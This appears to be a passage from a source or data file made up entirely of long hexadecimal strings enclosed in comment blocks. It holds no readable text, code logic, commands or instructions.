ec207bed4e3a1e0c3c18bb948e62973d96e692c9177742cd20e8751df479ca3e7fbb86b1c6ad7e95c25f179e32fdc34c2d35f300652a69857897a9e643232fc86dda4fecd992e8f77438a9384b9d6efccfb7ef9a7ca4863848f83f65a08bb90e739db9112c661362dd8a1f9c1c0958eba877f943191d911c1918275f9e9de903a7d692c93fa6b481bdb20de4c5e95c36d1e14afe9e9d998193a6a5f03cf6405572f2a831e3b6ad3ea149c5899e3d4a5dc36b9334a9f9a5e2e9fac706e9f89da0805a8c2e9cdbbbb20c207b88ff1af48e12082edfe28a1c171a0a7f72b4816714d46b94f2110d02327f057e4038d9f229dc0fa9d94ea4328a6909e2fbb72854f5d16c2a7ad76f8837dd1dd2a12fb57ecd72108fdf8c0facb579ed10f3dc8ae7de0cffa80497e113619dddab0506039ac03488551bb9b58afc2a9e0d15846944120572a9d4330f05d45c7dfe17025b9aa8873b452626826ccc96503d7e1e9ddb818555d238881febabddaa4afaba6960774b1cec0a86b0407c8d418e6ddd3375ecc115b3c5c71baa5a67f0dcb2dba7062ff5fb04db8247704c5d30cccbbc89acb58434fe5abd98a36bb50eb9e062afa8a8d73588263ce73ecb62d2f7a2351164d3ec7633df8e5b9fc5f9b9a77bed893bd25ef82c1b8d1a9abac96c9f61f42726808703de88a492463962cb329ee768b850679ae95753dadfa63430dab554ccea4cb221faa60323e3b0a2b0927116f386877a31f09c915d7b456dcdd2260830ca15b366cbf218944daef25b72348888cd43d5e08a01620e6a489c1f803cfc70eb22c6ef3e1c917bcea129910c029d57bedbf430d4f162d54ca795f57b967076577d7abf14c8cc144f5513001e11659a3ad99780a3dff937143d02da6391405bf0478bee3e7fbdaa103f4329d8d8bb7931ad55168d3e40df607df0d3f6fe8cb25dc97a9fed1601b77efdd59d68cc0a53e16859b0ac27debf79871f599c1a56084d494e6e3b0f1d91e32cb3e1e290862f0abb1c06829db942963cab2fe564d7eb6a50266e645ca2d449b4aeba1e996ddaf12e04b9982becddfa7dadbf69732085ad547f25f40a864df7498c0221fcccf648809c4b7536a8abcaf56f578f55bed769d260214f8b784bfe9f7f86054aaf9f9407294bd84e9f13fdfa7cb90a6f2826b660c9780e3ee18fc9ff9115db5eb2e717f92eadf75c04d01645cf1228d6aed7fac88ff5e8f41691687045db2320ab9c94ddfcca429bc4139c7366db63698d0b82b9261c188fdc6c595c97812a39b1fbb0f0e285e532cd079c88f3d6804bfb0781a18d5be57176f3fba8f7013b115b588c2cb62a2f214453cb60836160c264e78250535533ebebf5665cde84b7c325e6238c9124b57e782752e68b56da2af91028fc6fa3bb039074719*/
/*c8e7870f05156598ace25e2821bed499ba825a68eef26422a7371a24f499179aabe6f22f157b2153e508c9f39067629c125c0ee091b6e888660aaad02ed255549ef7c3799c2888468807dde69cf794ab3628752f1029c0ef1f2e2eb166d54e00ca5843eee76cbaac7cb235ce0e19e6befe0ab076b0131f8b106161f6061a4b23321129e9d185a0b0fb2d33eff4a1413e6a8e75b6981c526157d0c6d1463083a358c43bc3b57cb6af4017a8d083a94982b5822fec7bc343c30f201e3e5bdebba902ed2a7d77c3d8733e2f1a0cb1ea5f73140a82c13093dc8ce4d7bff58cec0e7305228e8e4a6b72355dd7f777f0e0bbccd7c8b62f839d91845532da83c0c99e7314925ec67582c445d9ce72d45439da247752e5184b57809281630bef5a30542fc815106471b84f3af285e852d2986897dcb54749f49fcd33a49a56a085b15a5d68ab61353e84321862703bd62efe51e6ba6c7f977b80bb99849dbcda4af78b572e194c38f23232e0b117086dd5e4cab2e0f923d3866ee398db39efa3789546ea92e9f128c1b556d81226930cd01e2db8450bbc61159b631feeec261785e4bff7cdc9cb4bea415d833e5231d2287ec21fcb1b54eff1ccaeb8c6790adae3d283f3e6a8459d8b9cef0dd38a4258eff6232b7ec29f121a23208c7f78d0cf886d47734391f0e9d38549f8050194769efb317c5d29c3b257ef54d5a9621de24eb6e8c112609adca6bc77ddfa9f2260af272a79364bbbc4cab1a38ecdd1eaa873598480824672b30e5d1c622ea4513acee49d239565df1299d90271527c962914202a5805fcb0be0fa93aa0e82acefb456707024942aa6917fbefe5a09ec2bbbc87fa99c16449764ce6d024b74fdc3170826cac8d2bf96bcbaf6a6a461e9ea8195b38345fda606ebc27d7dfc7de692e71f5e2c8bde7dceef589a2fd00b60199320e226ad7547a00a35c6086daf0177bc4c12480a1e748c787db52b178810bff83cdc9ea5d4d9026258d4f0f2f9628ff31a0756acb9542a97a494db5ef7a874372955104e260e643f0d0473c8efa738c39a0369509eb39930c134f6d3b519568c914286d9e06ebbd278a240ba9f3afc65ff1cd3c9c3c428c0e12ac634870080f4e01c9c497eebebc49995636fe0e60283e861dc9ede7ec9d437fe9c4f8a57184bc9733390397653df81279de57b42e08c977fc1987edaf7f86a6771ec8f6c97c033d1918b0548212dff9172ef91973646a93d294d59862a63ebef2945eda04d2d4e7c258ae3ebf1a8bb725b64cb626e67c53e7fa27e1ac5056131b37d25c6bbfb32646e9314d14b5458c236dc649d714e291c731fe25477d60e82402e8ccad07b4434dd71af4f2d9be83efd0e92928b4ffa990f6f563984c24803c9bf99fa4826b48646b4236958f878db6fea60135a89a4da719083ef70068528062749d3ba84a6a7d301c928219e66047662075ce2ab0ec925a01d6507e063ba363bd71aa9abe4b80d819381392664994e68c116a3566e53489efb1de6df9108e33fbee1eb2a13a26cc51eb1d0a37bfecd8500924c14f9655522603c14df8e807ea42082e68c145418f5598909967ae02cfb4ce3302d2e26ee6746a0f76194bffa2a6a265aff92b54420b22d733164244483bf124086f3a237e1313c24c2537ea86d8b73056bc717ca38424a502ef8210cc87b938142882b216baed9086695b3aef12a23afb935048fa1b6aa381fa586772c962fb24a30fd500f9d82234ef0b16df9ebacb1b356b34370c18c723d19590840040a12bdcd18ae914bb0e27f2a59b6fe96007601c6a67c504f3ed5b54b9571780be61c73cbcf82b5759fc8e0ae540bde5f60e190f38dfc7d18204305f4609f228df46b1a0767d98e6349b341a68fd507ced35ca7a4eb96ab5f82c7111bd3dd231778253634f19e110a420e6be2b76f537ec15234d3b17ee489d3f78d8f408af7c7f7ea84ba6d2b1738c009db9420e4f229fc331e9bcf8cad0060be51fbc3b1ae962a8261442e1f4870c0a223bee571826a0c12ad78fcbd7a6638bbf6dbf089aad28aaf678e721f7e5783e102f0df87ab33d7588b0d0944fa554bf7e69709345d34a6c25e76f5cb7e42d6a9ae9b0d4203d343a747f82af73d5a623ec103dced1977cd12213e5a87245d74a38fbbfc6ed09c53bea8cb868d6e834a364b8fa6137762ce65318fdf489c896e3529ef99ad496f5f791d33e55ab317afa7e4ef697f132e49a83faf991b430d9b8604fab88889d223ac7a593f0fe3574a127a15a40072cb67b9a86d15846632df10a0d16b5685a0a77b73c4dce52e59e8a925238eb76e19d87fa917439571a06567e5f55d665271dafc9de8d0367aa62a35adeb7088c1d175501992145b17c930fb92d5fef2fcf160adadcc1833b2bb2a9845ffecbe7577caa0d9aaf514abde76432bbb9490caa369aecc27cf7793d7c9a400d294f504236df408c664c48bba57b3a121df1906be2ffb9e4619fe85ca98d38d6945dbf51b8353bc5c38ce4406997d8bbb367d607eef089651b8717bbfcd48eb35874bf780c5a63d094414ca47bf717dae869bbe60ae9c3de47eed7e4b7fc5cac9add45e70a46c82bf7dbb9f886af93ff143f119b9bb0bfc06d154b61ac0dec7275026e07f15010d1c3fe1caf874bafd4b17a670e71942e67224be8d4ca4eef4adf6eef88f83871c443cd9eeca6ee6b541afd0beffc145242302ff1db0ff787bdff381f2f8d85fb9c4aaa5a3d1ac6fc4119c72a918c8066bcff7bb2a0dc539c254add9788fa2e58f3f64f8321d9064cc1ee9ff6168310a9f1165fee6ae6db2573fdf09e6abec70f911df1eb*/
/*34509be9c389e81d5f54277016e4c8132a4894e618997cf83a4db3d8b1ce3184467645211435cfd844d099437db747e335c38f15c0a7dfd7400011b9d87fabe57da024fcf9801d17c9fbd5210d5bd36cabad431bd982845e22d09f626eba682ea373b75baeebd28c7953115bd183f565dbd73274f52fa2576f287ea5959507ee82ac4756e4238be4af0637d2bef88c335cca34edbd4ecca3035c16b519084d24372216bad7835244827375a43775168e20098b5ee5bbeb5b74f27eae78a031c6e3926f78c26ee2f1516680bf687aaae1a4df1a05b5ec951b7c4b38c7b9eb473afa3d717cce2a35ffb68a7887547edc4b97870722a537a176c42980bb82f1eaea16e55576dcef91a508fcec31333d710b2da75a5070e0bf1be28f0e0a682bd7c0059d150ae83376e7ddc3643a8c434ac793cfcdb59df51d0708c029b28a0eadb7077bd989f6e2ac03db573500a7ee60861e672263e07e383e815fe5a6f04523144c9ef6502997dda339033a2718afba57d0f14934483705ed5a3275d501306a0a41a74f179c47a29484ec8907cb71742adf3164ad5d2e7689d2eae841c5e9054da2b1767be5c3006df05f3fc9b1ca6f8a377da2c891636041f816c6be54707a596e01430a08f5e595dac7896169a7bc65be62f393fe3bcab80e245f16812614de2506ffb51606e34c7afebe7a9432bb6d0027fef9487af05a14da4e3113a3aa9ac7ad8f2e6f14ab42e59872f02d4b2e7ead1cca667bda53bfa49ec556ce4ad3f3b1dba91269a5190bfad6556aeda4f169c6f0ded276074d44af3e155410fc3c6b72421b62eb0acaf8503abdb09190d015c03c3ce9f2f9737739ba928867f9b57e0d987f027a627c39d01302b6d6f8c4c31c6231c068416619368c0ad77367496ff18cd44d4a9546a19dbac41c82e514be030530ccee7d1b46e0f7608881234a73766b59d44dc9b5d8e4707f80b8ff7c47519f1291c9bcf374de16c9dffd585e277dd0b67b8b97e65a14d0f4dae1e7a6ea4f5096b00b65397b2ec9bc6eebc673b7ad7b1aac3d0153f3a6156acdce8e60d208fca60d1cbbb7564d82a112ba442adf508eb29832c7d9262655ac6e457f3ab22c4e36256ee1ba99a2b576d3f0065f2e638b7ca7bd79cba25d54ca9875591b6c3fb93268aba9ab98318da9f06eb6e5bfd1718308ed6d5d2742735d6d4c4aa66b4cd2d765cef4b81d10c637345c7dc8af6d40faaace95c580f12e3f7e925ace7d366196b18a0b0bf93302bb801d9a4228e6f287c9ec2b35a48ed0b1204f7c650de3f2b209f0b27f1d17a6d7289daa011f369ed1f0fe9505eb23e4d74836637c1227d20acd2cca29f8019b4c3892a181eb085ebdbd51bc11f6b83939b7d243ef03a15bff0037327c38d96fa383259d1d042158eec0aaeaf0f106c3c8fac125a1a85daf70751f0dcf759fbe6e38a2d6b89321fe2117d46f43fe4e1fd5c761acaee2a31551ad09ab225e9f45d0f5691d16f646337fa68645521c25886ea6c57141c9b1f9128a7f7fbe846dab677ec516b0ba207360257c492da740267308aa1c35c3ad539e40d3261998ce7724e69c2f99bf61fbb942367b6e3909c5652ad8fdf6d247a65573ebef92f96098c28ea116db93ab58ad1a16f4481c911aee3d2ce04b0edd6768930bb64e66606e2c815cf94317d3fee583af27092ceac17b089af1bf6da1f4de639b6552121510cce3f9e2f427e3fd997fc5214a1cf5719aa3379816b827fa350eb1e832db6efe2b2006caf2fa999eacf1177460007d566fa182aa7be92a9b6f7c7dde6cf4935350165c1ef1662541950a8ea8e387b5d7ce8f173edd73c6cd225909049c8b119662549aa17cfc9975e72b2ca859577f38f34de1fa1fb9611a8250a91e078fd0b0ab2ca65632422466b0d7151b289226449e72de0297c32d6d8903a180478800368b2ad140239a34cdf9bf490c80f07436611ec2c5c8ceb7dbae4ac8d20c80f0d9723edd3bb42a71ed90b79b799f425af9f55cd245d79ebfe9eebe4a933aeb9dc9e56072966bfbd82116af4731f8a8f5b6f68bbc5430c0b98f84d30dfffbf3b4fc12c9cec7af6b419019e727545e30f61a966582ec78f3f02521351d8c87536842fe5ff1369e287ac5e9f5eecfaa3716456ae3b290d79e3570bfa90f48096e7d8310e930249fb9c34ecfeccdf32a3e654d65247925805861ae6fc269ff7ddd32641b610ab1d8c6555ca6cdfa27fb1dff141d9bbf1cbda8f83f9165d24f8ee6b09edad68b0ccb6893de6cd052b593ab1109974f0bfeb655fae6ecb652541613ed180e7190a3a3cf5d9402a2589b101601bf55c0054437f455499074895ed555f325f801a800888c67f06e71f481ab6ccf43571d350c744d62c4a1c01cbcd2d1f4c1ceb6f7d9b3fd6cc89292e384612d1e4219b2edd4d519147feb7846e8c126ac7914b6bbd47cbafe127431ae21be39e9c838e71eeda0622581768f1b403f2363df6abf40b5cbbd43fd5f6747045690b726fc186e181396bbf99c4d6885c2183c9d70df1c6c058a7bb09dba3da8c30a758b20264f175b3ff0db6d69fb6e67119af9b9a6561b213fd7d4fde5c2f264e4d45daf2b080323ec7b591f200544891c75677bd3eda1a294f8473eb50c19b4c105e5c35dcdc81b562a6483cda45b670d6bef9e91c506bc74fda86a2448a98f91c9be48fbe1c8ae4d77194a1b8730a2a15848a4130ec68d4270c641ef0a9b31779a4d8c60b5b281c38e8515497e97741b40d294d57633894d8cd430d44c288c196810d41fdeeca6a7d24abcfd9919ebc03210317edcd0d8079d8f8ce6df9dd090a403c6a3005a863c*/
/*62c11e7db2a327438fe68f54dafd719808d09227df9bef0800190815c1f91f02ac8eb99af2f0bf0331771bbb267f0c15bb657e2d89418b11d5755514b0e67ce3ba48477b71a86bdfafafc02e926cb09d31b7bd819c5ddab9ec9535e70dad1acb8d9943ccc4670a7a5206942d74dffc748f4deb486b4ee272d61f360ed853962d271abb734c3c27006bf9964acf7fcb7b33b7aface616778498d6da52cd46fd19f0298aaebc6560dbc7a3636c938ed10ceda1de282e5af385f5b17b1dde8838795e4aa722c23db23cef1b9e203b39e42b51c76e5d2fab9c16ab2207321dbd1fe12fb9476f02e9edec2ffed8c0f48a6817432f9909288098575a83b25975ebac43d1d03315a7bf3aac5a48ed3c06503a2624315c53bf4f6a3fb8adfb636b8258bc4da3d0fbaba0dbb283efdc7a6ddbf32d5cb328e56c61cc45d2f624dd065cb4a27b570031bf6b9c658d61841007de27f42f059d0c362d34f9535898977fe4fbd05cbb16a9ed567d1932bf3fdbcb4e2300fe4c951d8e807102c497de9b3b6ea10131ac6f2715b6fc7506c9f9b1cfe67eef826a6dcbabad2b3ecb01ca89dfb0ac089913ef7b84af261fb61789b2ee7e6f7814aa5399d346fc29012d4a070d31262f0b45eac370cf70a81dbeb27b2a3a0b642490fe61ee12dcd7c6c5f699d0a81a14077fbfc475950bba2e351066db7b5532452ba0f6fc06747ff239614dec031303f1d6fd979c0643fcfa50a1d5f4d6516b6dd3d8167e10a4a5b6d63c4e198c4a9f3e2f8fb612df8cd09473c55c2980eec06f050b2054ba3a558e75832f1819c4d7564ee071b9f96e452ac01bf2f10bfd6eb551c7a0351b63f9dac7742a990302083c909da7073b1a67b64052c52d8746771261df57316a739bad616ff86852719e320e6b1edb923fe318c3d6561fdc01d032eab509cc919161e51b11b14231c73cd580f9d266aff2d0700761ab8bc9e41e3f2fed4c010a3d695e2339768516e10e3daa4f5128b5d12ff9d5fe39c7a2ef0b68557d39b39892ee48299124e678fcde5d661b42eee48f4becb1e4afb313e9fe0116251cfb7c912712d13a5ea8c81407a767fb19083ce6c272cacbfe31c84458dc2bb7037bbbc98564aa660bc987a14902797611aedb833777f249e426142e692e379fb9a6e5363c90023ed83f90bb33ce3a306e65266493d997b2050c6523a2e4aba2d2b043e00ddaa30d3355967edf9aeafc8cc014a08cd5f7195e2d97736d3f672f06f05049198b97a4e0d70654747ae1c8acca069f1e39ab241f5f347d1e5ed4fb62e7c6146898ca923592a40ce1d398cef6fc886c3817e870abb9c21b723a750c6ee3410f090ddecd37a5d8122939128c19bc58e9070b446fd185769c0f66ce31ab5aafc683cc90e2a0ba5bcb05c6b0b6375e9225dedaa58c734fd8702c832f11da449e48379c0c8899ee615b4faa416c455aaed6f2d3e22eff3fc433fb5369fecbcd90972a2434a38b2ed44c92dfc6ba5d16717cfb5367511b616c4b47a1635fec38173b2ad911662051c46e6984d9ab0e81913e84b7a8acc4e1ef2c31981859c576cd522cc48f9e33d71caab36be9c5932c697b76549bb0faa17ff1ff09d018ebdefa3d6946e0de786fd854157f6cc68419dde6131558d91a667cfdfe8b8c22d7673a2690d5d05ef5249b798d258248f6eb24ec00997309c695499fbed5590162f767b819e257947400327fcfeaf52063f00b84f7a1362b1de561f48715575f784742871eadd3615ed3d3f8f6f5039c43e975c33e45928c964b91986e37e57dbf1fdbfb54c3cfeb9e035ba8a84c2f3646c36d176f04d903794a80bb1f84effd18e6fa474a443eb14782dcbaba1b4d136b9d935aec234a4db534d6bce636c23162c62137581c6f08d8a7b611dde7d4a261c7d4fe4b58f4f6ef00f2051fec6415adc5cde055657b280b2b6ba2a02d7f9f2485929d31ec181fa48f8683635ec752527dd163e3e6f148d024a5c579f64eec29b925e3de7fb28cd74ced06ebb745c2f96ad052d1f592a70045f73cdb78f88a3faa22acc7761b672fe60563adf62b76dd65d70583f9ae9972872589002ce341e6911080afb6639e63b02902448ed2ba6146b54212dc3fe3d2544f960a929ee02eaf1126128f36d8da1d45ffe857ba2f641e6b26854a93a122dc8cd25e1800986933dcd54f8dfd4c69bbf4d3546fcbdf457e80b33766f9a155400ea419475db92d3e52accdf25d9032a5ebf1bed36a577ae9c6670bb4c5899251ba0ba9fa7e829368e8cb2891086c7ba17e19e2fecc305d5351cd4da7d4b44ed64c15dfb7ddfcba7a0b4f2306af19399cc2839643207bd099fa4c37c374c74125e1a673e511f89ac6fef7d3401e0267eba0d89c4c9cd70e9aa83d20367c16a7d0f271f673edd6312e085da23ba1b546e478b7b421ae2434eee35fae499347b2fa8e7140453593f1f03b7f9d8e91da1f4286ca37d56d9d9b3ece1001cbb75caaa4c1dda8262a4d98795a8ba14cec5706ae757c88b89882a8702998aeeb84805de25f666c99fe09c0535793bcd3015812daac40bf6051e976b23ea5d29f42d04ed33a126b021a6e0f03658af0fd23b7aea96c6403b3598b1c8e029f9276ad20afcce44ceb1e903a74c130766a58246bbe8d05aabbf06e2f5223c10b41ac06435c4702a42b80d8184da3484c57c5e288d06ad96c0962cdde0e32b3bdc5cf3e16710c093678d4c2d1e3caaef8fbb60ebe77510cd0fab977c9fd167a123e5f4185bbfa119e04fb26fc1da7da77387cafab772f753068b95df331218f39e3be0bb37ccd5f7821d1e6ffa2f9f9400264e0729e638d3bd4*/
/*25749f8d67219bd11d50339011158e85228a9c54ae5c3df5b8b555bd15179e6627389b259f3e4c6590a2869fd73c93a1bfab0e937e1a582a9db65219091c1bca31f8207cc5765f48ec10d9a5a9cc48126e463f1412246ec7e922c2dd2144ec33e24524c4b50731343a2e50d7b89eaf84900a6248644629452e13d2329063e5035a59e6da01f23bcc997af0db73c27c1eee1b46fee6c878b97ba1585a927c68e7bac49f32f14b590bf33ddfcee6bded4f7406a7abe56aa55bbccf1e6477f88a5f496385c2bc43b602a5f866400a45225bdb2bfaed40b80d4d63b2e38f0a0862f5ff4600a259bde20b7c206b3945a286a9198193d54ae508891e7761882987345e1ff0a95618c220c15e357dd52aa9cb979ed249614725d60effe96e6c416baed7c792dba3b029c340af44a00614db2b9f9db7e767771007080a54d54b5f3e2c48996ee23867295e67e6911c3280b2eedbf97a3d850947553daa305e0829facd202e57b6bcdfa76f4f02884b24a205b19f24655ac479db0de289b943e11cd7bedc033327d9999cd37cd3308a44c3a87f6280c4bf43cdf1bc838831699dd205efa3dd7209992209fa8ebc58d50139434e907300d92e0d0760259ea41655718577225a2a63b0d0bb97e4d15aba036f76c89452fde8dc5aea6eafdfb05d0125b596f85906f24761acdbe51a6e48093631a70a372609232569c87023ccf03b558f116bb8466c7be4f9fda8de63fbe01eb7b01877a4b4b7e0c2bad52b0ba89d97efdc56cf80c6b139a9c0632f98ce946f116565c78d5a2288388e6d5759976859bdf8b8b1234a92a17631e83232cedd6c97616e4d24a1c12ce70fa01836a8ae0970782e2e376c036aa4e088acb39b40d1262a19cbd48576595c807a47a9cd2a222e0e494cc8b69d8668243e47dfdeb9ca16c2c0654623791aa5259ea8bbf25a3264d5e893ac610f5edd231f696fb75488464f32db05a2e49144147d31b0c129d4064f4633320f405bee76faba9cb54e97087aeecc1e14d1a697da625a933cf92746d46cb2641cc7d9fe55c3dcd8f228464000f4fc9e359b0334b2a51093765b6e92cb3cae9aef5e56a7cf1397dc1a97f1bd1a63854f67b470bb47f27ac2b1a5964d53d05171ec2698c091f8ad0e609bd44ec8faf839c6c45906e7e5ec442b688ea6dc47bd14252ad2ced3c77beed580a76daadcc1e6fd703cfbb61c0669cbe45d2d9851d4b40f09953c00edba8a801c80823c793d391357eea5f7b50bacf5e5d552852744faeb939343403fce5e48943c794ffce6ee046351a442a6e4938dea9bf4c3f5cea5df2b93212b4ada984f385156bfcad2e8211e0451215c0704b4fdbe75ce63e1549a71b5e4be9db392c19bdee6df8f161f26bd83e694bfd88f0afd499c548d360df93084c087e0aa19689d612af72419abf09cc8dba19a821e44d625fefdd25fa889ba12da80dc68671b3f32c5ec06f2f539d07e605b32e27aa6bc6e74b8f713ec53c3bb843a7c6135974319170bd0d78edc38335499ba8ac29b1e5dcff76f7946bb9770d1bbae95cc4cd9b1552a7acaae167eaba0a1b6c0c3a74de7628a353b6ac89ca697f72aef6cd9243fe893574965dda6e0e6d5b09c3b4fe4be4aef50e058ddcf402aecfdede03e2ea3457b413b6b517072d9394e74cda6517b019e35093f7750d32bacf90225d4a12a8e7821bd0741d7830d4a84310b1cf97903f9ac7882517a660284bef9e5d9ea2829722ceea4ac25350967479444d054ac7d228197da4708e716d3f570a520ae134d21e1846d6ca6292d25e6d337f27cb115e14ea75d798c21c733b477800b5d39c43a5b91894527ce3ea0a473f4891590d8ee1cd1db36ada67e5915e1473f1a307d14de59cf0ff548c6e979d72d16d8f1e4d03650d670ff814e66dc4bba9de75d66190e98459424672be4672c2b9ffa48029f2c6fff41b8fbde9f05c046d935a69c30c641beff43c2c4ac848944a892e96131cbf195fe9b6149df773e3e01e09e828b30ccf428edad320b5c821aa3deb10f06942ce198d21024c997e8f524cb76ceb3de77d1af5b69994ce01221fa05ba1108f5478f518aeeed00b69a4b165e515a16646859289de9e4072a07cdecb21c06ae6bdc590e5bca1232256953b37a5359c4d42ca4f5cfe5a005b54713cd45f77c6c30ab473178a24c3c2f38972598154ef0c2fcb1c0aec9a19c7bfd083e4ba3b91a43127be36fb427a94d77041f344ec9e77ba54185fd46970ba9a2b3568465046ec2b4091dd8b0962345ce9e13fe85575ee2b9d084299af139c3db67fea8bddee3858500e5e40ec3a32edec720aa47b280516283e13b04be8ef79d497757da7213cd9997475cad35ba7142099fb3f3adf5f9688b63b51bcc0ffdb4e71c779db92779e701b7febdc87a5a72b95695925caa4f2547b098abe26b1cca21df9c69e0ecf10c31436ab3973d208c49a5ef751aee3d6f9f4f7b013109349358dd3cf9b2953b0b41427026f7b8d74905226a1997f2ac196f1a254660cdb19c3dada853700a33e8a86197af698d3f163f007c7fedea51f98a34266eb29249d13eb20626d1019f252ffebce54fda81bf1e57822ac80dfac715b311ccb21818ef238748ae7d5d9b073e36d3dc5c387787f903d0ccdc174e6229ae376f2d744e72464a900841ed3fba10ca0fdf84a296503f1f5a0058d0463c478bb26e8a384063ef2d438c061da5b667e55bb2a3b26a264c6fa4f1fd955501024ffa58cffbcd923aade6438ae766d297a76b5de949754f71b29e45aba2256f54e2fd26f3b33a2c9774bc1cc04fbdb6851d55353cca00dfaba8001097789e*/
/*6897e5a81ecda949ebf41a6f7b24851932da57e3e76d7354539789d5df572df8832e6c2dec12df55056d9a24dd806538b10597e07606d153319e8a10dd01224c922b2cb67e4cd8bd0eef4cf3c4d3818e21d823f6785ab3dd10e2127c2179a174bf8d4cf796283916901d049dd45fbc0e3b637b3994402a62e77eb50f06b4b89abe1c5c1e43ef0981fc131f7877943b7106e27e3f9293cf54d3703ccb98c145464576ce4445aeaab51a6738b76b6b8d6630871c1ff72ad939e4c026cecbc42eaddbf923e5a4545793b1a035222aaf2cbcca2720fde2c5ad135be015b22afd11ffcd54dbd68d71f5f97e865b701828c2cce8da791e293ecd57f3b4a9f19ddbdb3548aaebbc6f04f5466166cd69d009cfd00e13447884266c3d68f8bcd880957b88b3a110dc54ba5ef3aef55b39a3275fc7314cf23e8a3d4e27a8a4709276f2e8773b0dc3cfc5614c7deb83c309f1e09b376808ea7632279aef56bcebd281296c9367208fb8e80b4307100325caaf31f61e6ba145fb9db82f26e61072fa9c51ae9574376553092e6d5d7e085cc3edeb4d5417c00f169f0841b6b257e0d066ac4910d515f0b7a17765db6ddeb0db200187f2a9530dd30b6c5c84147732b3c4a0698600c07799a94cbece6aa87a8531d6a8a7b1f4ca2e9e9227e5e445fa1a8b33ea3b3124ef4a6cd2a78412823925a8a82b860005e052f3b24d8106041cd83a90b5c5e6d3777f6aec3a4a4e054bf4afeea3f19c4a60fa132942186dd6421373415b969d5a924ca7bc6ea4bc370afe5d5c1d99493f08f40bd16849883c39b62f239b780b81d4f9b47abbb234c9ea3d37bb3dfb6f54f826245e85ebe01bc407fef43326f81134f35886c11b3ed51c9a77469fde6aedb8afc8d125a5899545d779fc54c0e8767501464f1174fa1bf8c177dea022a583f275d5aba6108684d2b61c4aaa0defdbb5bb42265bc32c2d7f865e4eb53aa7e91fa75d6bd3edd900f01190250859c1540e5957f2e44089fb46a5875c0670a073d59f15db66b8bb842eb5cbcb7dd2933fabdd5d66959518fa82a5b600874a6902b20a012d33aa4d2fdc969b949192b7073288f7a7995a57d21e5e872ad8f827511dae5fa799e7bb5f4470789dc48ec2ea449af8bf8c05433e017276e8a85aab9cd8f7c555189319db02f3f8a1807b4c62b435afc1ea1240f9d0fbd301710afd15e919f5b428082b4b76180c19fb4c6be67773f761f4497789f1ea7bad1a74b6541ce21e61a5e32aba7d863b6cbc0631c303b737f443aeb01ca010d81806dfc570ea790704008f4c75589ed274eebe27a6b2253f2c772d93c78b9bf86d5fa0c26eeac7a1d7eb16456646601fc1dcbff44f7d1670a1169e018b57e9502034079bcf57dc4319d927ddd3362bd250d9091b25a8f4df92ac7d99814f65de962666cdb32bc60cf16bb85a163a158cf30fdee9d074c6580a771cda8361577b5ed2fdf6bc95f42a7c44d261b996684752917a59360354908ff86da3da6ad98a63c8b865d42badb7a17506c961e8221f9d16ee7440ea269871b00ff08f02ce4c7145252ee7a2199a681280d3b2b8b7443271bcf7b39d6c17466803a4a27e6521da756f43fd6dc5adb8c2f36c4a7c35a97205b2764780919dcbf18642c47f666f0549d0babeb093d0c882ca432b785a7eec8f02c46018247d3f1ad080798b65a0b271933290fb9d18664cf5412597684569286871e225312159f568f4e51db61854b4ac9456aca97bf695df0c8c7e588b5d2e596971c9cf7ebfb06b8f94e6bab68302f0ef50c25a4d41e4f8a411689a701dcf455c16f247d0ea200975ef9f23968b88af7ac67acf0693955f5b183ac558d3c8145da7a35b55f8ff0ddc2cea066bcf22168ed55049035e0ee96783b2d4a96a982ded782e4a53c07cdc2e4e53c939e8d3c249b1abd7c9341a24f7010a6c30c55b08f3fda58245e34bad8a514067d96d8205af590661770cc32b3a74df5852000f7a683d89044fa7ac33fa4ecc7a3f2d9d47a99dc7131f1990370d97d9e01955450913bb8706d03c13d5f2f0f24584b60b44055574a6fc15bf375b5faa7c437425df2fb72e9bab5121f8b9642e25d9a1d9a558692ef21a266c28be29b4ea97b7b853c49b4319c3e280c706f6f4d728a128013b5381329a8d516b8204ffc3403930c8af2dd5bccd959a73060f8e0459b1043311048917fa22eb5fe465b913bc2e902451329952e6083068b272f71c4865b2dae27472e0b2ddac08bed9a827563254fe301a2f9014a7ed65ad08b41ee1b2a15d566a0000798e82783474d1cc8be2feec3ba85cab5f2b4dcdde382547778ee931c653747829b281ac30706e8d86c02504a088df5ff9920f795a7a3cf352189818edfaf7ea1fc9720ac19034401391ae5357cb5b96e19dc351edd873a9dc87488ce09bbb4f4a0a58660a9be17438f65003b105b054e8b0eee7af61d3afaf00b12dd80b946f849d07ce3b22e50e092b7c1c4f07744dafcc7f33bdf9a6b105aa6c58ce11400a7e46951ede65239e6cc4ad1c85269125a01b4501a2729d79c3171ba97086f8b360ce9ad5e12e161a49171c962293ded82c11e96148dad01e0b5852cbc2f96fd43d41604d65a1e96292ce3a07e2b76495c2f60c538bdea64e2c92844099eca16029232d03d0529c635c2c584a641d9348d0e717bded34e6d1886f984e653bce42b67e335352e35e6d289139babe0a8f13a29cb5bbf98dcfa675f908f78d0e3803ce61905d62b024b64da09d0f4b40bd2eddc32e3622ac500085ce4996693fc34f13e914c72b0c897f066d9c9018ecdc71c16a7ea092351bbe252cf223*/
/*bbfcd888b4adb7d44b385f030d1e887c87b1a449ec3d16f43448616b6249c7afa75cea71f9c46d2f8cd960b3881196679071e995afe90248c16ccbc18d00b31aba6737d1f6d83fd3fcf9eea8c38c653e1510c4d2c9ec4178fd5a1969b822d3169cb0899023b98e54b912baae1d0f6412237f6ac82824fbff0b4a3bff8d02df492fad9d8d7f6cd4c3753309087321cd3ba6e856758a2742e193b77973a299400f9048d42ca92b1e94f016459163947345444a027bed08fb2aac2ac8cfaf0b65f6995a0b7fdf3758b488596f005ecb6d4a41b77042fc07f4a1fb674b8ac6627a3ecef15bd80efa86737c8771a573161e7b69c0af4086cbc2cbad67518c0bcee634adc39ddd6e75c39883a07936973fcf8b814af013d7be3d3a882f7c7283ce92e6da39caf8026efd89d40a3910ebc2fc31511f507dda8cbd898a2086f39d9355cad7652e7211c208ef71b487469d88e077ab22da35c95ee2fed2cef8b12fcac90f7a7a583d697d625155e9fd71d966b4a5b2df147d2e33fd85350a56ee1824c9760f49935bead87cf245fd7b9332f38a5d402290b8ca30909a600b0c5d3c1b4b8acaf06df021ac33648633fbc3c938564ece51e41943fa3363c7be8d1c4ebf931282c8ff29c68e75f693480e38083a6cc3ee038023427ffca12b5b076ba7a23a5e23d8ba6e9f000677970a4ba29bacf3a7ce3674ead333985c72934611e6a9bc92f65b0f910419f3e36128273142edd19a3ea93b740ca7897355d21a49dc6b8a4b37b7e4d0c86c242aa62c4bf657f0822cd862c011f86f99c9d493fa00a